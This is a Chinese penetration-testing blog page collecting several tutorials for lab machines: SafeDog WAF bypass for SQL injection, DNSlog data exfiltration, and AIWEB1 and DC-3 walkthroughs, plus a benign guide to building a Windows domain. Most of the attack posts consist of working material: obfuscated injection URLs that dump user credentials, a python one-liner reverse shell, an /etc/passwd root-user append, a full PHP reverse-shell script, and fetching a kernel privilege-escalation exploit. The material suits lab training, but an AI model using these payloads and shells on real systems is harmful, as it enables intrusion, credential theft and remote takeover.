首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,866 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
43
篇与
的结果
2025-05-18
安全狗waf绕过-sql注入
安全狗WAF绕过系列一、WAF概述WAF(Web应用防火墙)作为一种专为Web应用程序设计的安全防护工具,其核心功能在于通过实施一系列针对HTTP/HTTPS协议的安全策略,来增强Web应用的安全性。WAF内置了精心设计的检测逻辑与规则集,这些规则旨在对每一个进入系统的请求内容进行细致审查,并对任何违反安全策略的请求采取即时且有效的防御措施,从而维护Web应用环境的纯净与安全。二、WAF工作机制详解WAF的工作流程精心构建,涵盖四个关键环节:预处理、规则匹配、响应处理以及日志记录,共同编织成一张紧密的安全防护网。 预处理阶段:此阶段,WAF首先担任起“守门人”的角色,对所有进入的数据请求流量进行初步筛选,确认其是否遵循HTTP/HTTPS协议标准。紧接着,WAF会利用预设的白名单机制,快速识别并放行那些已知安全或信任的URL请求,直接引导它们进入后端Web服务器进行处理。对于未能通过白名单验证的请求,WAF则进一步深入,对其数据包进行精细解析,为后续的安全检测做准备。 规则匹配阶段:此为核心环节,WAF利用其内置的强大规则引擎,对经过解析的数据包进行深度扫描与匹配。这些规则覆盖了广泛的攻击场景与模式,包括但不限于SQL注入、跨站脚本(XSS)、命令注入等常见Web安全威胁。通过这一过程,WAF能够精准识别出潜在的恶意请求,为后续的安全响应奠定坚实基础。 响应处理阶段:基于规则匹配的结果,WAF的响应处理模块将采取针对性的防御措施。对于符合安全规则的请求,WAF会毫无阻碍地将其转发至后端Web服务器,确保用户请求得到及时响应。而对于那些被判定为恶意或异常的请求,WAF则展现出其防御实力,通过阻断请求、记录日志或触发告警等多种方式,有效遏制潜在的安全风险,保护Web应用免受侵害。 三、常见的WAF绕过姿势常见的WAF(Web应用防火墙)绕过姿势包括但不限于以下几种: 提交方式变换:许多WAF默认配置下主要对GET请求进行过滤,而忽略POST请求、Cookie、HTTP头等其他提交方式。因此,可以尝试将攻击载荷通过不同的提交方式进行发送,以绕过WAF的检测。 大小写替换和编码绕过:利用WAF规则可能不区分大小写或无法完全解析编码后的攻击载荷,通过将攻击语句中的关键字进行大小写替换或使用URL编码、Base64编码等方式进行编码,以绕过WAF的过滤规则。 事件函数变换:WAF会重点识别触发JavaScript代码执行的事件函数字段,如onclick。通过变换事件函数名称或利用其他不常见的事件函数,可以尝试绕过WAF的识别。 注释符和内联注释:使用SQL注释符(如--、#)或HTML/JavaScript注释(如<!-- -->、//)来绕过WAF对特定关键字的过滤。有时,将攻击载荷与注释符结合使用,可以欺骗WAF使其忽略部分攻击载荷。 分片传输:通过调整HTTP请求中的Content-Length头部,将攻击载荷分成多个部分发送,可能导致WAF无法完整解析请求内容,从而绕过检测。 利用WAF软肋:WAF在部署时可能因性能考虑而留下一些软肋,如对某些特殊字符或组合的检测不够严格。通过分析和测试WAF的行为,可能发现并利用这些软肋进行绕过。 爬虫白名单绕过:部分WAF提供爬虫白名单功能,通过伪装成爬虫(修改User-Agent或模拟爬虫行为)可能绕过WAF的检测。 高并发流量攻击:通过发送大量垃圾数据或高并发请求,使WAF设备进入Bypass IPS模式或达到性能极限,从而暂时或永久性地绕过WAF的防护。 请注意,上述绕过姿势仅供安全研究和教育目的使用。未经授权的渗透测试和网络攻击是非法行为,可能会对个人和组织造成严重的法律后果。在进行任何渗透测试之前,请确保已获得合法授权。四、安全狗绕过姿势环境:phpstudy—apache2.4.39安全狗官网v4.0下载(应该是最新版):https://www.safedog.cn/website_safedog.html当然如果需要套件,我都给你准备好了关注后台回复【安全狗】即可获取,感谢宝子们一直以来的关注在开始之前,如果没有SQL注入基础的的童鞋,还请观看我的另外一篇文章,1w字超详细解析。以下内容皆使用sqli第一关进行测试测试 id=1' and 1=1http://192.168.209.131/Less-1/?id=-1' and 1=1在之前的尝试中,我们发现直接使用“and 1=1”这种方法似乎并不奏效,这很可能是因为安全狗系统识别并过滤了“and”这个词。为了更深入地了解安全狗是如何识别并拦截这类操作的,我们可以尝试将“and 1=1”进行拆分http://192.168.10.129:8080/sqli/Less-1/?id=1' and --+ http://192.168.10.129:8080/sqli/Less-1/?id=1' 1=1 --+发现两个页面均返回SQL语法错误,这表明安全狗不会单独过滤‘and’或‘1=1’。我推测它可能是识别到‘and’后紧跟空格和字符的模式。为了验证这一点,我决定进行实验。http://192.168.10.129:8080/sqli/Less-1/?id=1' and1--+ http://192.168.10.129:8080/sqli/Less-1/?id=1' and 1--+实验结果,证实了确实是and+空格+字符串的格式会被拦截。这里我们就可以开始尝试利用注释符、回车符%0a等来代替空格进行绕过了!!在此输入:http://192.168.10.129:8080/sqli/Less-1/?id=1' and/**/1=1--+发现依旧不行,打开burp suite,拦截下我们阻截的包,添加$payload到我们测试的注释符中然后点击发送到intruder模块,选择如下:然后,点击pyload,选择暴力破解(Brute forcer):attack,开始攻击,安全狗有流量攻击的防御,后面可能会被拦截,解决办法直接重启apache服务器。好了这里测试完成了,点击length更改默认排序,我们拿每个请求成功payload(检查response即可查看是否成功,如果用户名正常显示,说明该字符payload安全狗没有进行拦截)。我们随便娶一个/!*得到payload和注释符拼接/*/!**/,这个时候and和后面的1=1之间用这个拼接的符号进行连接即可http://192.168.209.131/Less-1/?id=1' and/*/!**/1=1 --+可以绕过了order by测试,我们用之前的测试结果,利用/*/!**/这一个充当空格,测试order by 3,然后看看能否成功?http://192.168.209.131/Less-1/?id=1' order/*/!**/by 3 --+完美,接下来测试联合注入。普通测试union select:http://192.168.209.131/Less-1/?id=1' union select --+union关键字测试,有回显http://192.168.209.131/Less-1/?id=1' union --+select关键字测试,有回显http://192.168.209.131/Less-1/?id=1' select --+已知安全狗WAF对联合注入的拦截规则是识别到union select字符串。为了探索是否能利用注释符绕过这一规则,我决定采用与之前相同的方法,利用Burp进行抓包,并加强fuzz测试中的参数进行暴力破解尝试。随便选择几个1002长度的响应结果这里我们选择payload,取/!*!/,构造注释符+payload,为/*/!*!/*/,插入union和select之间,绕过成功http://192.168.5.64/Less-1/?id=1' union/*/!*!/*/select 1,2,3 --+这里还有一个思路,可以利用--+%0a这种格式通过换行继续执行,这里我们试一下看看:Tips:我的另一篇SQL注入文章有写过%0a的作用,后台回复【SQL注入】【sql】等关键字即可查看http://192.168.5.64/Less-1/?id=-1%27%20union/*!--+/*%0aselect%201,database(),3*/%20--+ 相当于在普通sql语句中的 http://192.168.5.64/Less-1/?id=-1' union/*!--+/* select 1,database(),3*/ --+尝试报数据库http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database(),3 --+发现database()被拦截了我们把database的()给去掉http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database,3 --+报错,此时就可以确定,安全狗应该是将database()进行检测然后我们继续使用注释符或者内联注释符看看吧:继续采用burp的fuzz测试:添加上变量扫出来4个/可以用,最简单的和之前一样,就不强调了,取注释符+payload,构造payloadhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),3 --+成功了!接下来一个一个关键词测试,group_concat()http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) --+没有拦截,继续fromhttp://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from --+informtion_schema.tables,结果就不行了http://192.168.5.64/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from informtion_schema.tables --+测试%0ahttp://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/测试查当前数据库的表名,前面已经测试过database()了http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(table_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(table_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() --+爆字段,测试到and,table_name都没拦截http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name --+直到table_name后面加了个=http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.tables*/where%20table_schema=database/*////*/()%20and%20table_name=%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.tables*/where table_schema=database/*////*/() and table_name= --+那么开始fuzz测试爆破随便娶一个payload和注释符进行拼接,如下http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20table_name/*/***/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and table_name/*/***/="users" --+回车%0a的绕过方式http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(column_name)%20from%20/*!--%20/*%0ainformation_schema.columns*/where%20table_schema=database/*////*/()%20and%20/*!--%20/*%0atable_name*/=%22users%22%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(column_name) from /*!-- /* information_schema.columns*/where table_schema=database/*////*/() and /*!-- /* table_name*/="users" --+爆数据,已知表名为users,字段为id,username,password,并设置每个字段的分隔符为-,separator '-'http://192.168.209.131/Less-1/?id=-1%27%20union/*/!*!/*/select%201,database/*////*/(),group_concat(id,username,password%20separator%20%27-%27)%20from%20/*!--%20/*%0ausers*/%20--+ 相当于 http://192.168.209.131/Less-1/?id=-1' union/*/!*!/*/select 1,database/*////*/(),group_concat(id,username,password separator '-') from /*!-- /* users*/ --+这里使用的是sqli第12关有安全狗防火墙,数据包如下uname=123")%20and%20updatexml(0x3a,concat(0x3a,(select%20user()),0x3a),0x3a)#&passwd=123&submit=Submit进行分块传输(这里用到一个插件)联系作者即可获取(备注【分块插件】)编码请求体后注意最后两行需要空着,但凡少一行都会造成请求不成功少一行之后,响应失败脏数据构造大型数据包比如但是如果没有足够大的数据包,也是不能够进行绕过的,比如数据包中post无限制,get可能会进行限制hex编码这里没有复现案例,仅供参考前提:没有过滤掉0x例如select * from users where name="admin"总结通过本文的详细解析和实验,我们深入了解了SQL注入攻击的基本原理及其在实际应用中的变种和绕过技巧。在面对如安全狗这样的WAF防护时,攻击者并非束手无策,而是可以通过多种方式绕过检测规则,成功实施SQL注入攻击。本文首先通过基础的SQL注入测试,验证了安全狗WAF对“and 1=1”等简单SQL注入模式的识别能力。随后,通过拆分和注释符的使用,我们发现WAF可能是通过识别特定模式(如“and”后紧跟空格和字符)来拦截SQL注入的。基于此发现,我们进一步尝试利用注释符、换行符等技术手段绕过WAF的检测,成功实施了更复杂的SQL注入攻击,包括联合查询注入,获取数据库表名、列名以及具体数据等。通过本文的学习,我们不仅能够加深对SQL注入攻击的理解,还能够掌握一些实用的绕过WAF防护的技巧。然而,需要强调的是,这些技巧仅用于合法的安全测试和教育目的,任何未经授权的SQL注入攻击都是非法的,并可能带来严重的法律后果。因此,我们呼吁广大开发人员和安全从业者,应持续关注和提升Web应用的安全性,共同维护网络空间的安全与稳定。免责声明:本渗透教程仅供安全研究与教育目的使用。任何未经授权的网络活动均属非法。读者应确保拥有合法权限,并对自己的行为负责。教程内容不保证绝对安全或成功,使用风险自负。
2025年05月18日
487 阅读
0 评论
0 点赞
2025-05-18
sql注入之dnslog
DNSlog注入全解析DNSlog原理 DNS(Domain Name System):负责将域名转换为IP地址,以便浏览器能访问对应服务器上的服务。 DNSlog:即DNS的日志,记录了域名解析时的域名和解析IP的信息。 DNSlog外带原理:通过在高级域名中嵌入信息,利用DNS解析时留下的日志,将信息传递并读取,以获取请求信息。 DNSlog注入 关键函数:Load_file,用于读取文件并返回其内容为字符串。访问互联网文件时,需在最前面加上“//”。 使用前提: 存在注入点。 拥有root权限。 数据库具有读写权限,即secure_file_priv设置为空字符串。 具备请求URL的权限。 必须是Windows服务器环境。 复现过程D盘中写了个1.txt通过load_file函数,读取一下 select load_file('D:/1.txt')由于在通过load_file外带时是无法执行sql语句的,所以要通过concat函数,将执行的sql语句,与DNS请求的url进行拼接select concat('Sentiment','\',(select database()));这里我用的是dnslog.org,获取一个随机的dns域名接下来通过sqli第一关进行演示,通过你获取的随机dns域名DNSlog外带数据库信息,注意dns域名前面需要有个点,否则会导致外带不成功http://192.168.209.149/Less-1/?id=1' and load_file(concat('\\\',database(),'.eaf61aee.log.dnslog.biz./abc')) -- w此时dns解析记录就有了你靶机的数据库名称前缀外带表名?id=1' and load_file(concat('\\\',(select group_concat(table_name separator '-') from information_schema.tables where table_schema=database()),'.eaf61aee.log.dnslog.biz./abc')) -- w外带列名?id=1' and load_file(concat('\\\',(select group_concat(column_name separator '-') from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w局限性通过本地测试后,发现了一些问题,在url中传递字符有一定的局限性,很多字符是无法传递的,所以在外带时,可以通过十六进制编码绕过符号的局限性?id=1' and load_file(concat('\\\',(select hex(group_concat(column_name separator '_')) from information_schema.columns where table_schema=database() and table_name='users'),'.eaf61aee.log.dnslog.biz./abc')) -- w十六进制转字符网安学习不迷路,欢迎各位网络安全大佬进来交流学习
2025年05月18日
601 阅读
0 评论
0 点赞
2025-05-18
AIWEB1综合靶场通关教程【附靶场环境】
前言如果要进网安交流群的,后台菜单栏点击加群即可(建议微信群),靶场获取后台回复【AIWEB1】下载之后设置为nat模式启动即可,不需要登录靶机复现主机发现访问即可信息收集robots.txt文件访问尝试,原来是什么也没有的,404我们去访问这个上级目录,发现有一个id注入测试语法错误,存在sql注入漏洞抓包sqlmap爆表发现表里什么也没有,换思路没有权限dirb扫一下看看,有一个info.php网站绝对路径禁用的函数,没有禁用eval本地文件包含开启,以及php版本(%00截断,低于5.2),但似乎没什么用这里我们有两种方法方式一通过查找secure_file_priv 的值1、DBA权限,这里我们发现可以对文件进行读写sqlmap -u 'http://10.0.0.84/se3reTdir777/#' -data "uid=1&Operation=%E6%8F%90%E4%BA%A4" -p 'uid' --privileges2、secure_file_priv方式二从phpinfo中的网站绝对路径进行拼接尝试有了绝对允许上传文件的角度路径那么我们就能使用sqlmap获取shellsqlmap获取shell使用sqlmap的oshellosshell原理通过sqlmap -v 5 参数可以查看流量包通过分析,得到sqlmap的osshell原理就是,通过into outfile/into dumpfile写文件的方式进行文件写入然后再进行访问这个上传的写入sqlmap会向这个上传的网站目录写入两个文件1、文件上传木马文件2、命令执行文件文件上传成功后,即可执行命令(与蚁剑不兼容)注意:如果你退出了这个osshell,那么这两个文件都会自动删除,导致执行不了命令这是会话维持中,可以执行命令会话断开断开后尝试执行命令上传成功后,没有找到这个flag.txt文件,应该是没有权限读取10=system('find / -name flag*');查看/etc/passwd权限,发现漏洞,竟然可以读写文件,我们追加一个用户新加用户之前创建一个登录密码perl -le 'print crypt("123456","addedsalt")'新加一个用户,分到root组进行提权echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd靶机发现还有nc反弹shell,查看攻击机ip地址靶机nc发现没有-e参数,反弹不了shell看看靶机有没有python很好,有python,我们使用python反弹shell,攻击机开启监听中间我断网了,ip地址变了一下,之后操作都是这个ip我们尝试使用python反弹shellpython -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.7',80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"如果没有成功,就多试几次我们尝试切换用户,提示必须从终端运行这个问题搞我半天,后来发现可以使用python调用本地shell即终端升级echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py python /tmp/asdf.py su test 123456模糊查找flag的位置cat 即可
2025年05月18日
1,018 阅读
0 评论
0 点赞
2025-05-18
【渗透测试】DC-3提权靶场渗透教程
【渗透测试】DC-3提权靶场渗透教程靶机地址:官网: http://www.five86.com/downloads/DC-3-2.zip 百度网盘: https://pan.baidu.com/s/1nK2rG5Wuh4MDZmsT8tvYkw?pwd=4pa2 夸克: 开启nat模式开机开始渗透,主机发现端口快速扫描80端口服务,并快速找到编程语言御剑扫描后台界面安装 joomscan 这个工具检查检索这个joomla版本信息是3.7.0joomscan -u 192.168.60.131使用searchsploit 来搜索漏洞信息搜索所有 joomla 指定版本的漏洞信息,用法,中间添加一个空格就可以了。再精确,我要找到 joomla 3.7.0 版本的sql注入漏洞复制到剪切板我们可以利用-p选项,我们可以获得有关目标漏洞的更多信息,并将该漏洞的完整路径复制到剪切板上。searchsploit 42033 searchsploit -p 42033我们查看这个内容sqlmap复制上图的payload,并把localhost本地地址替换成靶场地址sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] --current-user这个时候就得到了数据库信息,并使用 --current-user 获取当前数据库用户,可以看到是root用户指定数据库为当前网站的数据库,枚举数据库所有表sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables指定表"#__users",并列出所有的列名sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns我只要username和password两个字段sqlmap -u "http://192.168.60.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump创建一个文件,存储好hash后的密文,使用 john 来爆破一下,提示我们使用--show参数,来显示所有可能的密文得到 admin的密码snoopy,登录后台添加一个php脚本,用于编写一句话木马修改一下这个文件的两个参数,然后全部复制到这个script.php源码如下<?php set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.60.132'; // 你攻击机的IP地址 $port = 1234; // 攻击机nc监听的地址 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?> 粘贴到这个php木马中kali开启监听默认情况下的模板位置是在 /templates 目录下当前模板名称为 beez3得出脚本位置http://192.168.60.131/templates/beez3/script.php成功上线创建一个交互式shellpython -c 'import pty;pty.spawn("/bin/bash")'上图可以看到不是root用户信息收集两个重要文件的权限查看发布者信息,都没有可疑点那么还是一样,使用searchsploit漏洞检索我们需要的是提权漏洞,再添加关键字 Privilege Escalation找到4.4.x的漏洞,进行尝试可以看到漏洞的产生原因以及利用方法。搜索exp,有一个下载链接下载下来即可解压,并开启http请求复制这个文件的地址就好http://192.168.60.132:8000/39772/exploit.tar靶机下载这个文件,但是提示我们没有权限wget http://192.168.60.132:8000/39772/exploit.tar这个时候就要想到刚刚在网页上能创建php文件的目录了,查找刚刚创建的脚本find / -name "script.php" 2>/dev/null我们在这个文件下载,下载完成解压到这个文件夹中根据这个39772的txt文件提示依次执行提权成功。成功通关!往期推荐飞雪-网络安全见闻如何在GZCTF部署简单的Web和PWN动态flag?【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析
2025年05月18日
1,118 阅读
0 评论
0 点赞
2025-05-18
什么是域?如何搭建一个简单的域环境?
什么是域?如何搭建?域域是计算机网络中的一个逻辑组织单元,具有安全边界,实现资源的集中管理和共享。它通常分为,单域 ,多域,父域,子域 ,域树(tree), 域森林(forest),DNS域名服务器。单域和多域单域指网络中所有计算机和用户隶属于同一域,便于集中管理;多域则将网络划分为多个独立域,每个域有各自的管理员、安全策略和资源,提高灵活性和安全性。父域和子域父域和子域是计算机网络和域名系统(DNS)中的概念,一句话概括即:父域是包含其他域(子域)的顶级域,而子域则是父域下进一步划分的独立部分,两者通过层次结构组织起来,共同构成复杂的网络命名体系。emmmm,该图仅供参考,哪有不对,还请指出,谢谢各位师傅域树(tree) 域森林(forest)域森林指若干个域树通过建立信任关系组成的集合。可以通过域树之间建立的信任关系来管理和使用整个森林中的资源,从而又保持了原有域自身原有的特性。这里域树abc.com与域树abc.net之间通过建立信任关系来构成域森林。emmmm,该图仅供参考,哪有不对,还请指出,谢谢各位师傅如何搭建?服务器管理员(administrator)的密码不能太简单,建议用大小写和字符混合的,否则影响先决条件检查的结果。这里使用的操作系统是Windows server 2012域控服务器需要修改静态IP地址,方便查找域控服务器的位置设置自己为DNS服务器,网关可设可不设修改计算机名称为DC(域控服务器)重启!添加角色和功能选择指定选项,一路下一步设置为如果需要,自动重启服务器不要带点关闭,先点将此服务器升级为域控服务器,之后再关闭配置根域名(需要符合域名配置规则)选择你得域控服务器版本,我的是Windows server 2012添加还原DSRM密码这个域名就是刚刚填的根域名称的大写确保所有的先决条件检查通过,就可以开始安装了重启之后就会发现计算机全名便成了域控服务器如果ping不了的话,就检查静态dns是否正确关闭防火墙添加一个域控账号添加域用户新建一个域用户,用于第二台机器win2008登录域控服务器设置好账号名称设置密码如果出现着这种情况,出网了,也就是ping了这个域名下的公网服务器地址,而不是域控服务器的地址。那么就去改hosts,把这个域名指向域控服务器的DNS此时就可以看到ip地址变为了域控服务器的DNS地址另一台修改DNS为域控服务器,我这里是2008此时即可ping通域控服务器加入域输入域管账号密码,也就是win2012开启域控服务器时的用户和密码加入域即可重启这个时候域控服务器就可以看看到这个计算机使用我们刚刚创建的zs用户登录域使用域登录账号格式为合起来就是REDTEAMzs,密码为你添加的域用户密码,登录成功后会发现重启不了改dns,也需要域管账号密码,这时候就体现了域的作用了域超管账号administrator在任何域内主机上都可以登录,如果需要添加一个域管理员,在任何机器上都能登录,那么就在Domain Admins中添加管理员账号一个简单的工作组权限案例登录普通用户Windows中超级管理员的SID中RID是500,就像linux的root账户UID为0如果发现密码不符合要求打开我们的本地安全策略,把密码复杂性禁用就好换一个稍微复杂的密码,添加一个管理员,分配到超级管理员组登录新加的test用户此时SID的RID为1001,而不是500Tips : 在Windows系统中,指派给用户、计算机和组的RID通常从1000开始。因此,当SID中的RID大于1000时,意味着这个SID代表的是在系统中后创建的用户、组或计算机账户。主管是降权后的超级管理员必须要过UAC验证过了UAC就可以添加用户,为了进一步演示,再添加一个test1用户切换用户后,执行如图命令,SID中的RID为1002添加的普通用户过不了UAC,需要管理员的账号密码回首往昔【渗透测试】12种rbash逃逸方式总结最新可用,bp+charles小程序抓包教程DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【流量分析】Java框架Shiro、工具利用、漏洞复现以及流量特征分析DocCMS 网站存在SQL注入漏洞
2025年05月18日
1,002 阅读
0 评论
0 点赞
1
...
6
7
8
9